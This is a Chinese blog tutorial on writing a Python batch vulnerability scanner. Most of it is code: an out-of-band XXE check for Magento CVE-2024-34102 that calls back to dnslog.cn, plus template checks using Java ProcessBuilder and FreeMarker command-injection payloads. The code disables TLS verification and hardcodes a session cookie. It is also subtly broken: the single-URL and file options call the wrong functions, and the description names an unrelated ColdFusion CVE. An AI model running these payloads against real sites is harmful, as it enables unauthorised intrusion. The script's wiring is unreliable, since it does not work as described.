首页 > 编程语言 >快速编写一款python漏洞批量检测工具

快速编写一款python漏洞批量检测工具

时间:2024-09-13 10:48:21浏览次数:1  
标签:__ _____ 批量 headers python url file ___ 检测工具

一、前言

以下列检测脚本示列:

 import requests
 import urllib3
 import re,string,random
 from urllib.parse import urljoin
 import argparse
 import time
 import ssl
 ssl._create_default_https_context = ssl._create_unverified_context
 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 def banner():
     print()
     print(r''' 
      ______     _______     ____   ___ ____  _  _        ____   ___ _____ __
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \ / _ \___  / /_
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | | | | / / '_ \
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/| |_| |/ /| (_) |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|\___//_/  \___/
 
  _____
 |___  |
    / /
   / /
  /_/
     ''')
     print()
 
 def read_file(file_path):
     with open(file_path, 'r') as file:
         urls = file.read().splitlines()
     return urls
 
 def check(url):
     url = url.rstrip("/")
     taeget_url = urljoin(url, "/rest/V1/guest-carts/1/estimate-shipping-methods")
     try:
         headers = {
             "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
             "Content-Type": "application/json"
         }
         getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)
         domain = str(getdomain.text)
         data = """{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://%s","dataIsURL":true,"options":12345678}}}}}}"""%(domain)
         requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25)
         for i in range(0, 3):
             refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)
             time.sleep(1)
             if domain in refresh.text:
                 print(f"\033[31mDiscovered:{url}:AdobeMagento_CVE-2024-34102_XXE!\033[0m")
                 return True
     except Exception as e:
         pass
 
 
 if __name__ == "__main__":
     banner()
     parser = argparse.ArgumentParser(description='AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本')
     parser.add_argument("-u", "--url",type=str, help="单个URL检测")
     parser.add_argument("-f", "--txt",type=str, help="批量URL文件加载检测")
     
     args = parser.parse_args()
     if args.url:
         read_file(args.url)
     elif args.txt:
         check(args.txt)
     else:
         parser.print_help()

以上批量检测代码的主要功能点:

1.banner函数模块,用于展示图形化标识,以美化展示脚本

2.read_file函数模块,用于批量读取文件中的url地址

3.check函数模块,用于对漏洞进行检测,这里最好使用BP进行构造,根据响应包中的返回值进行规则匹配

4.main函数模块,主要调用以上3个函数,以及引用命令行解析器 parser

 

二、导入python包

可使用python PyCharm Community 错误功能检测出需要导入的包

 
 import requests
 import urllib3
 import re,string,random
 from urllib.parse import urljoin
 import argparse
 import time
 import ssl
 ssl._create_default_https_context = ssl._create_unverified_context
 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

image-20240801024603100

三、函数功能模块

1.banner标识函数功能

 def banner():
     print()
     print(r''' 
       ______     _______     ____   ___ ____  _  _        _____ _  _   _  ___
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ /| || | / |/ _ \
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| || |_| | | | |
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__) |__   _| | |_| |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |____/   |_| |_|\___/
 
  ____
 |___ \
   __) |
  / __/
 |_____|
                             ''')
     print()

功能:该函数打印出一个图形化的 banner

在线生成工具:http://www.network-science.de/ascii/

或者使用pyfiglet进行本地生成,可将生成的code在python代码中进行替换

 pip install pyfiglet
 
 C:\Users\test>pyfiglet CVE-2024-34102
   ______     _______     ____   ___ ____  _  _        _____ _  _   _  ___
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ /| || | / |/ _ \
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| || |_| | | | |
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__) |__   _| | |_| |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |____/   |_| |_|\___/
 
  ____
 |___ \
   __) |
  / __/
 |_____|

2.read_file函数模块

功能:该函数读取指定文件中的每一行,并返回一个包含这些行内容(假设为URL)的列表

注意:该代码模块,可固定不变

 def read_file(file_path): #定义一个名为read_file的函数,该函数接受一个参数file_path,表示文件的路径
     with open(file_path, 'r') as file: 
     #使用open函数以读取模式('r')打开指定路径的文件,并将文件对象赋值给变量file。with语句确保在代码块结束后文件会自动关闭
         urls = file.read().splitlines()
         #读取文件的全部内容,并将其按行分割成一个列表。每行的内容作为列表的一个元素。splitlines()方法会移除每行的换行符
     return urls  #返回一个包含所有URL的列表

3.check函数模块

注意:这里可根据实际情况进行修改

 def check(url):
 #定义一个名为check的函数,接受一个参数url,表示要检查的URL
     url = url.rstrip("/")
     #去掉URL末尾的斜杠(如果有的话)
     taeget_url = urljoin(url, "/rest/V1/guest-carts/1/estimate-shipping-methods")
     #使用urljoin函数将给定的URL与指定路径拼接,生成目标URL
     try:
     #尝试执行以下代码块,如果发生异常则跳到except块
         headers = {
             "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
             "Content-Type": "application/json"
         }
         #设置HTTP请求头,headers包含User-Agent和Content-Type,Content-Type是post请求包格式
         getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)
         #向dnslog.cn发送一个GET请求以获取一个唯一的域名,这个域名将用来检测漏洞。
         domain = str(getdomain.text)
         #将响应内容转换为字符串并赋值给变量domain
         data = """{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://%s","dataIsURL":true,"options":12345678}}}}}}"""%(domain)
         #构造一个包含domain的JSON数据字符串,目的是利用该漏洞进行攻击
         requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25)
         #向目标URL发送一个POST请求,携带构造的JSON数据
         for i in range(0, 3): 
         #循环3次检查DNS记录是否包含该域名
             refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)
             #向dnslog.cn发送请求以获取DNS记录
             time.sleep(1)
             if domain in refresh.text:
             #果DNS记录中包含该域名,表示漏洞存在
                 print(f"\033[31mDiscovered:{url}:AdobeMagento_CVE-2024-34102_XXE!\033[0m")
                 #打印发现漏洞的信息
                 return True
                 #返回True表示检测到漏洞
     except Exception as e:
     #如果在尝试执行上述代码时发生任何异常,捕获异常并忽略
         pass

检测函数的主要方法:

get类型

def check(url):
     url = url.rstrip("/")
     target = url+"/url路径"
     headers = {
         "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
     }
     try:
          #get请求方法
         response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
         res = urllib.request.urlopen(response)
         status_code = res.getcode()
         content = res.read().decode()
         if status_code == 200 and 'fonts' in content and  'extensions' in content: 
         #主要的匹配漏洞的验证规则
             print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞)\033[0m")
     except Exception as e:
         pass

post类型

 def check1(url):
     url = url.rstrip("/")
     target = urljoin(url, "/url路径")
     headers = {
         "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
         "Content-Type":"application/json;charset=UTF-8"  #post数据的格式类型
     }
     #post请求数据
     data = '{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\\"echo\\\",\\\"HelloWorldTest\\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}'
     try:
          #POST请求方法
         response = requests.post(target, verify=False, headers=headers, data = data,timeout=15)
         if response.status_code == 200 and 'HelloWorldTest' in response.text and 'message' in response.text and 'data' in response.text:   #主要的匹配漏洞的验证规则
                 print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞!\033[0m")
                 return True
     except Exception as e:
         pass
         
      
      
 def check2(url):
     url = url.rstrip("/")
     target = urljoin(url, "/jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action")
     headers = {
         "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
         "Content-Type": "application/x-www-form-urlencoded"
     }
     data = """moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%2528%2529%2528%2522arp%2520-a%2522%2529%257D%253C%252Fclob%253E&uuid=1"""
     try:
         response = requests.post(target, verify=False, headers=headers, data=data, timeout=15)
         if response.status_code == 200 and ' Internet' in response.text and '</clob>' in response.text:
          #主要的匹配漏洞的验证规则
                 print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞!\033[0m")
                 return True
     except Exception as e:
         pass  
 

四、主函数功能模块

功能:调用上面函数功能

该部分是脚本的入口,解析命令行参数,如果提供了--url 参数,则单个URL检测;如果提供了--txt 参数,则,对文件中的多个URL地址进行检测

 if __name__ == "__main__":
 #调用banner函数,显示上面标识图
     banner()
     #命令行参数解析器 parser
     parser = argparse.ArgumentParser(description='AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本')
     parser.add_argument("-u", "--url",type=str, help="单个URL检测")
     parser.add_argument("-f", "--txt",type=str, help="批量URL文件加载检测")
       """
     -u: 一个可选的字符串参数,用于指定读取单个URL
     -f: 一个可选的字符串参数,用于指定读取文件中的url
     description:脚本名称显示:AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本
     """
     args = parser.parse_args()  #调用 parse_args() 方法解析命令行输入的参数,并将解析结果存储在 args 对象中
     if args.url:
         read_file(args.url) 
         #如果提供了-u 参数,调用read_file(args.url) 函数,单个URL检测。
     elif args.txt:
         check(args.txt)
         #如果提供了--txt 参数,调用 check(args.txt)函数,对文件中的多个URL地址进行检测
     else:
         parser.print_help() 
         #如果没有提供任何参数,调用 parser.print_help() 打印帮助信息,提示用户如何使用该脚本

五、脚本运行展示效果

image-20240801042010871

 

标签:__,_____,批量,headers,python,url,file,___,检测工具
From: https://www.cnblogs.com/backlion/p/18411810

相关文章

  • Python容器二之列表
    文章目录1.列表的基本使用1.1列表的定义1.2实例11.3访问列表元素和长度1.4实例22.列表的遍历2.1使用for遍历列表2.2使用while遍历列表3.操作列表3.1添加元素3.2删除元素3.3修改元素3.4查找元素3.5排序操作1.列表的基本使用1.1列表的定义列表类型......
  • KAN专家混合模型在高性能时间序列预测中的应用:RMoK模型架构探析与Python代码实验
    Kolmogorov-Arnold网络(KAN)的提出为深度学习领域带来了重要突破,它作为多层感知器(MLP)的一种替代方案,展现了新的可能性。MLP作为众多深度学习模型的基础构件,包括目前最先进的预测方法如N-BEATS、NHiTS和TSMixer,已经在各个领域得到广泛应用。但是我们在使用KAN、MLP、NHiTS和NBEATS进......
  • python 生成器
    一、可迭代对象、迭代器、生成器的区别可迭代对象:只要实现__iter__方法或者实现__getitem__方法而且其参数从0开始索引,那么该对象就是可迭代对象。可以用for循环遍历,常见的有string,list,tuple,dict,set。迭代器:实现了__iter__方法和__next__方法的对象。__iter......
  • Python文件操作:上下文管理器(with语句)②
    文章目录1.上下文管理器概述1.1什么是上下文管理器?1.2为什么使用上下文管理器?1.3`with`语句的基本语法2.文件操作中的上下文管理器2.1使用`with`语句打开文件2.2读取文件2.2.1读取整个文件内容2.2.2逐行读取文件2.3写入文件2.3.1覆盖写入2.3.2追加写入3......
  • 【Python学习笔记】 第7章 字符串基础
    本章范围本章主要讲str字符串类型,有关的操作适用于Unicode处理。Unicode简介ASCII是Unicode的简单形式,但Unicode适用于非英语地区的人们。两者在文件中的编码不同。在Python3.X中,有三种字符串类型:str用于Unicode文本,bytes用于二进制数据,bytearray是bytes的一种可修改的变体......
  • Python中的观察者模式:从入门到精通
    引言观察者模式允许对象(称为“观察者”)注册到另一个对象(称为“主题”或“被观察者”),从而在主题状态改变时自动收到通知。这种机制使得多个观察者可以独立地响应同一个事件,增强了系统的灵活性和可维护性。特别是在构建高度解耦、易于扩展的应用程序时,观察者模式显得尤为重要。基础......
  • python+flask计算机毕业设计基于的社会公益服务平台的设计与实现9iel49(程序+开题+论文
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景在当今社会,随着信息技术的飞速发展,互联网已成为推动社会公益事业创新的重要力量。然而,传统公益模式在信息传播、资源调配、参与便捷性等方......
  • python+flask计算机毕业设计基于前后端分离的网上音乐推荐系统(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展,数字音乐已成为人们日常生活中不可或缺的一部分。面对海量的音乐资源,用户如何快速准确地找到符合个人喜好的音乐......
  • python+flask计算机毕业设计基于智能推荐的宠物之家网站设计与实现(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着社会的快速发展和人们生活水平的提高,宠物已成为许多家庭不可或缺的重要成员。宠物市场的繁荣不仅体现在宠物数量的激增上,更在于宠物主......
  • 如何使用python中的math
    首先,导入math函数库。一、计算平方根输入一个数值,保存在变量n中。用函数sqrt,计算变量平方根的值。二、计算幂可以用函数exp,计算e的x次幂。三、计算对数设置两个数,保存在变量n和a中。接着,用log函数计算以a为基数n的对数。运行程序,其结果如下图所示。......